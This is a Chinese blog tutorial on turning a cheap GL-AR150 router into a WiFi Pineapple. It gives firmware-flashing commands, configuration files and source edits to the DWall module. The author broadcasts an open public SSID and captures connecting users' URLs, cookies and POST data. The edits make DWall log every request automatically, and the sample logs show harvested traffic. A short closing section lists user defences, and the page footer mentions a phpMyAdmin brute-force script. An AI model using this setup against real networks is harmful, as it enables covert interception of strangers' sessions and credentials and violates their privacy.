如何用路由器改成WiFi Pineapple系统镜像网络流量
本文主要介绍利用自己现有的设备,如何制作和使用WiFi Pineapple镜像网络流量,利用DWall模块分析用户数据,然后根据自己的需求,给DWall加入了日志记录功能。最后介绍了如何防范wifi pineapple这样的网络设备。
自己打造一个WiFi pineApple:
看到很多前辈们已经做出了WiFi Pineapple NANO的rom文件,我也准备利用现有的设备,刷一个WiFi Pineapple NANO系统试试。
Openwrt:
WiFi Pineapple系统是一个把openwrt重度改良过的系统,所以需要先了解一下openwrt:
OpenWrt 可以被描述为一个嵌入式的 Linux 发行版,(主流路由器固件有 dd-wrt,tomato,openwrt三类)而不是试图建立一个单一的、静态的系统。OpenWrt的包管理提供了一个完全可写的文件系统,从应用程序供应商提供的选择和配置,并允许您自定义的设备,以适应任何应用程序。
OpenWRT是一个高度模块化、高度自动化的嵌入式Linux系统,拥有强大的网络组件和扩展性,常常被用于工控设备、电话、小型机器人、智能家居、路由器以及VOIP设备中。
\WiFi Pineapple NANO:
它不是一个简单的广播客户端,也不只是一个路由器或接入点。WiFi Pineapple NANO是一个功能强大的无线网络审计工具,利用其独特的硬件和直观的Web界面与你的渗透测试流程整合。它适合装在你的口袋里。WiFi Pineapple NANO拥有一个完全重新设计的Web界面,有助于推进工作流程,增加了可用性。
按照现代的标准,新的WiFi Pineapple的Web界面更加直观、快速、灵敏和熟悉。模块仍然是一个核心功能,可无线下载社区开发的附加组件和网络前端的流行工具。新的API对于经验丰富的开发人员和新来的人是非常简单的。新的WiFi Pineapple的Android应用程序简化了USB网络连接共享。点击连接即时连接到漂亮友好的新的移动Web界面。不需要Root。在客户现场长期部署?没有问题。将WiFi Pineapple NANO插入一个标准的USB电源适配器和用于远程维护的基于USB调制解调器最新一代的LTE连接设备即可。
配置如下:
CPU: 400 MHz MIPS Atheros AR9331 SoC
Memory: 16 MB ROM, 64 MB DDR2 RAM
Disk: ROM + Micro SD (not included)
Wireless: Atheros AR9331 + Atheros AR9271, both IEEE 802.11 b/g/n
Ports: (2) RP-SMA Antenna, Ethernet over USB (ASIX AX88772A), USB 2.0 Host, Micro SD
Power: USB 5V 1.5A. Includes USB Y-Cable
Configurable Status Indicator LED, Configurable Reset Button
某宝的价格:RMB:318.00
结合GL-AR150的迷你路由器:
配置如下:
Powered by Atheros 9331 SoC, 400MHz CPU
150Mbps high speed
16MB RAM
Stable performance
OpenWrt pre-installed
使用充电宝当电源
使用U盘来扩充容量
某宝的价格:RMB:119.00
刷机:
准备:
- 下载打包好的支持AR-150路由器的wifipineapple的rom。 AR150-wifipine固件下载 ,注意这个固件只适合AR-150使用,其他路由器不兼容。
- 备份现有路由器版本的ROM。
开始刷机:
以下2种方法任选一种:
- 可以使用路由器自带的升级功能进行刷机(**推荐使用**)。
- 把rom文件上传到路由器,然后执行刷机命令,等待完成,中间不要断电。
mtd -r write /tmp/xxxx.rom firmware
刷完机后,在浏览器地址栏输入:172.16.42.1:1471后,应该可以进入大菠萝的设置页面
进入设置页面:

设置上网功能:
设置wan口为dhcp:
vim /etc/config/network
config interface 'wan'
option ifname 'eth0'
option proto 'dhcp'
option dns '119.29.29.29, 8.8.8.8'
使用sd卡给设备扩容:
u盘必须是ex4格式的,需要用linux格式化u盘
config global
option anon_swap '0'
option anon_mount '0'
option auto_swap '1'
option auto_mount '1'
option delay_root '5'
option check_fs '0'
config mount
option target '/sd'
option device '/dev/sda1'
option fstype 'auto'
option options 'rw,sync'
option enabled '1'
以后所有的程序就都可以安装到sd卡中了。
DWall功能:
Display’s HTTP URLs, Cookies, POST DATA, and images from browsing clients.
分析封包的主要目的,就是要查看别人的访问记录,和一些敏感信息;DWall这个模块已经集成了我想要的功能。
WIFI pineapple 最佳实践:
1 打开自己的wifipineApple,设置公开的SSID;
2 打开流量镜像功能,防止漏网之鱼,我插了个64G的U盘来记录应该是足够用了)

3 确认有人已经连接:
4 打开DWall模块:
5 查看用户访问过的内容;
修改源码:
DWall优点:
可以免去我们去分析封包,而且过滤出敏感字段,省去我们的不少麻烦。
DWall缺点:
需要一直在这个页面不能离开,才可以看到用户从路由器上发出的请求数据。
进入ssh,用ps查看进程列表:root@gl_ar150:/sd/modules/DWall/log# ps | grep DWall , 发现其实DWall一直在后天台运行,只是没有在后台显示而已,那个start listen按钮只是控制在不在后台显示; 我想作者不在后台一直显示,应该是考虑到内存问题吧;
2483 root 12092 S N /usr/bin/python /pineapple/modules/DWall/assets/DWall.py ==>开了一个9999的websocket端口,进行数据处理
2484 root 3072 S N /pineapple/modules/DWall/assets/http_sniffer br-lan ===>http数据监听
DWall模块代码是开源的,我准备根据自己的需求,修改一下源码,让他可以自动记录log,这样当我不在的时候,也不至于错过一些重要的数据信息。
打开DWall/api/module.php 加入:
$time = time(); ====》 获取到当前时间
$date = date("ymdHis",$time); ====》 格式化时间为
$date = $date.".log"; ====》 加入.log后缀名
//打印日志输出到文件
$this->execBackground("/usr/bin/python /pineapple/modules/DWall/assets/DWall.py > /pineapple/modules/DWall/log/".$date);
收到封包数据后,会进入DWall/assets/WebSocketsHandler.py:
def parseData(self, data):
data = data.split("|", 2)
dataDict = {"from": data[0], "to": data[1]}
path, headers = data[2].split('\r\n', 1)
payload = Message(StringIO(headers))
url = "http://" + payload['host'] + path.split(" ")[1]
if url.lower().endswith(('.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg')):
dataDict['image'] = url ===》记录图片
else:
dataDict['url'] = url ===》记录地址
if 'cookie' in payload:
dataDict['cookie'] = payload['cookie']===》记录cookie
postData = data[2].split('\r\n\r\n')
if len(postData) == 2:
if postData[1].strip():
dataDict['post'] = postData[1] =====》post的数据
print dataDict; ========》
我加入了一条打印命令,用来记录日志用:
return dataDict
log文件中记录内容如下,这个大家应该都明白是什么意思:)
{'url': 'http://t.wg.360-api.cn/ap/tips/browse?mid=2ea1cddeb1140c584e2af3fdd9f70e22', 'to': 'xxx.xxx.xxx.xxx', 'from': '172.16.42.192
{'url': 'http://s.360.cn/360game/stat.htm?pid=se&m=2ea1cddeb1140c584e2af3fdd9f70e22&ver=9.0.7.1033&s=loading&type=extyouxi&sever=9.1
{'url': 'http://wan.360.cn/?src=se', 'to': 'xxx.xxx.xxx.xxx', 'from': 'xxx.xxx.xxx.xxx', 'cookie': '__huid=11K07bgNFwCnhAAu7BlaPTAx5Xov
{'url': 'http://seupdate.360safe.com/bankmode4.ini?1842861343', 'to': '61.240.140.61', 'from': '172.16.42.192'}
{'to': '42.236.102.95', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01321f78ebe6c390bf.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01dfc19ebeec81e26f.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01e46f85933f369ab6.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t0188118c4beb970f46.jpg', 'from': '172.16.42.192'}
{'to': '120.52.32.31', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01cd2fd2aa60ffd533.jpg', 'from': '172.16.42.192'}
{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t014f83608163d71015.jpg', 'from': '172.16.42.192'}
{'url': 'http://js.passport.qihucdn.com/5.0.3.js', 'to': '42.236.102.95', 'from': '172.16.42.192'}
查看log文件列表格式:
root@gl_ar150:/sd/modules/DWall/log# ls -la
drwxr-xr-x 2 root root 4096 Mar 26 19:30 .
drwxr-xr-x 6 111 118 4096 Mar 23 19:11 ..
-rw-r--r-- 1 root root 0 Mar 23 20:17 180323121756.log
-rw-r--r-- 1 root root 1568871 Mar 26 11:29 180323121836.log
-rw-r--r-- 1 root root 16384 Mar 26 19:30 180326112942.log
-rw-r--r-- 1 root root 28673 Mar 26 19:31 180326113030.log
经过上面的修改以后,只要开机后点击Enable,DWall就会自动记录用户的每条访问记录,在需要时候,只需要在LOG文件中查找就可以了。
如何防范:
如果把WiFi Pineapple比喻成一座魔窟,那么当你连接上这个WiFi后,无疑就等于进入了魔窟的大门,你的一举一动,都将会被记录和利用。 那么,有没有办法进行防范呢?
- 在公共场所,少使用或不使用陌生wifi;
- 少登录或不登录http网站,因为目前对https网站的攻击还是比较有限的;
- 查看自己的内网ip地址是不是172.16.42.1的网关,如果是那么你可能就中招了;
- 在不熟悉的网络环境操作时候,使用VPN或者SSL通道加密,这样就是截取流量,也是加密后的流量,分析起来比较复杂
如何用路由器改成WiFi Pineapple系统镜像网络流量的更多相关文章
- 阿里云ECS服务器将默认的Ubuntu系统改成桌面版
以Ubuntu14.04 64位 为例 1.用自己PC登录阿里云,停止正在运行的实例 2.重装系统 更换系统盘->选择"公共镜像".Ubuntu. Ubuntu14.04 6 ...
- ubuntu系统从中文环境改成英文环境
我们在 安装ubuntu server版的时候,有人可能选择了中文环境安装,因为那样好设置时区等参数,可是安装好了后,运行某些命令的时候会有中文乱码提示,看起很是头蛋疼, 我们就需要将其改成英文环 ...
- 自己搭建Wifi Pineapple Mark V
创业搞得自己很累,不过一切都是值得的.抽空写下文章,确实好久未更新了. 前段时间由于项目需要,所以就折腾了下wifi pineapple.时间间隔有点久,根据回忆记录下. 淘宝货:TP-Link TL ...
- 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击
简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...
- WiFi Pineapple的Karma攻击与原理探究
WiFi钓鱼是一种被炒烂了的安全威胁,你几乎每天都能从电视.网络媒体中看到因误连了恶意WiFi导致大笔资金失窃的案例,并且很多媒体语不惊人死不休的报道风格总是能把当事人的受害过程删减修饰到灵异的程度. ...
- 把sql server 2000的用户表的所有者改成dbo
怎么样把sql server 2000的用户表的所有者,改成dbo,而不是用户名. 推荐使用下面介绍的第二种方法,执行以下查询便可以了.sp_configure 'allow updates','1' ...
- 把Ubuntu用户目录下的目录名改成英文
直接改名字是不行的,一重启就回去了 方法一: 把中文文件夹改成相应的英文文件夹,再修改配置文件 ~/.config/user-dirs.dirs XDG_DESKTOP_DIR="$HOME ...
- VMware虚拟机,从厚置备改成精简置备,并减小硬盘的实际占用空间
工作中由于前期规划不足,导致磁盘空间分配较大,而且是厚置备.后期不再需要时,无法把用不到的空间释放出来,造成空间浪费.经过摸索和实验验证,总结出来一套方法. 风险提示:这个方法在我的环境中验证通过了, ...
- 把路由器改装成git服务器(OpenWRT环境的GIT服务器搭建)
在单位中,通常都标配了git服务器用来管理代码. 对于家庭或者小办公室,这种方式有点不经济.当然如果是开源项目就简单了,刚刚被微软收购的github是理想选择.但如果没有打算开源,我今天的话题可能对你 ...
随机推荐
- keras_训练人脸识别模型心得
keras_cnn_实现人脸训练分类 废话不多扯,直接进入正题吧!今天在训练自己分割出来的图片,感觉效果挺不错的,所以在这分享一下心得,望入门的同孩采纳. 1.首先使用python OpenCV库里面 ...
- 爆破phpmyadmin小脚本
#!usr/bin/env python #encoding: utf-8 #by i3ekr import requests headers = {'Content-Type':'applicati ...
- linux基础——关于chmod用户权限和文件的相关操作
第一部分:1) 新建用户natasha,uid为1007,gid为555,备注信息为“master” 操作:useradd natasha新建natasha:修改uid是,usermod -u 100 ...
- Django【进阶】序列化
关于Django中的序列化主要应用在将数据库中检索的数据返回给客户端用户,特别的Ajax请求一般返回的为Json格式. 方案一:serializers 1 2 3 4 5 fromdjango.cor ...
- mysql五-1:单表查询
一 介绍 本节内容: 查询语法 关键字的执行优先级 简单查询 单条件查询:WHERE 分组查询:GROUP BY HAVING 查询排序:ORDER BY 限制查询的记录数:LIMIT 使用聚合函数查 ...
- 【bzoj2242】计算器
#include<bits/stdc++.h> #define inf 1000000000 using namespace std; typedef long long ll; ?a:g ...
- DRF视图集的使用
# 原创,转载请留言联系 如果要把同一种http请求方法的多个接口放在同一个视图中,比如:查询多条数据和一条数据都是get请求,放在同一个视图里,应该怎么做呢??? 如果直接放在一起,会怎样呢? # ...
- jQuery获取标签中的元素
获取双标签之间的内容 在JavaScript中,获取双标签之间的内容是这样的: <!DOCTYPE html> <html lang="en"> <h ...
- 怎样简单编写一个html网页
# 转载请留言联系 一个HTML的基本结构如下: <!DOCTYPE html> <html lang="en"> <head> <met ...
- MySQL 的七种 join
建表 在这里呢我们先来建立两张有外键关联的张表. CREATE DATABASE db0206; USE db0206; CREATE TABLE `db0206`.`tbl_dept`( `id` ...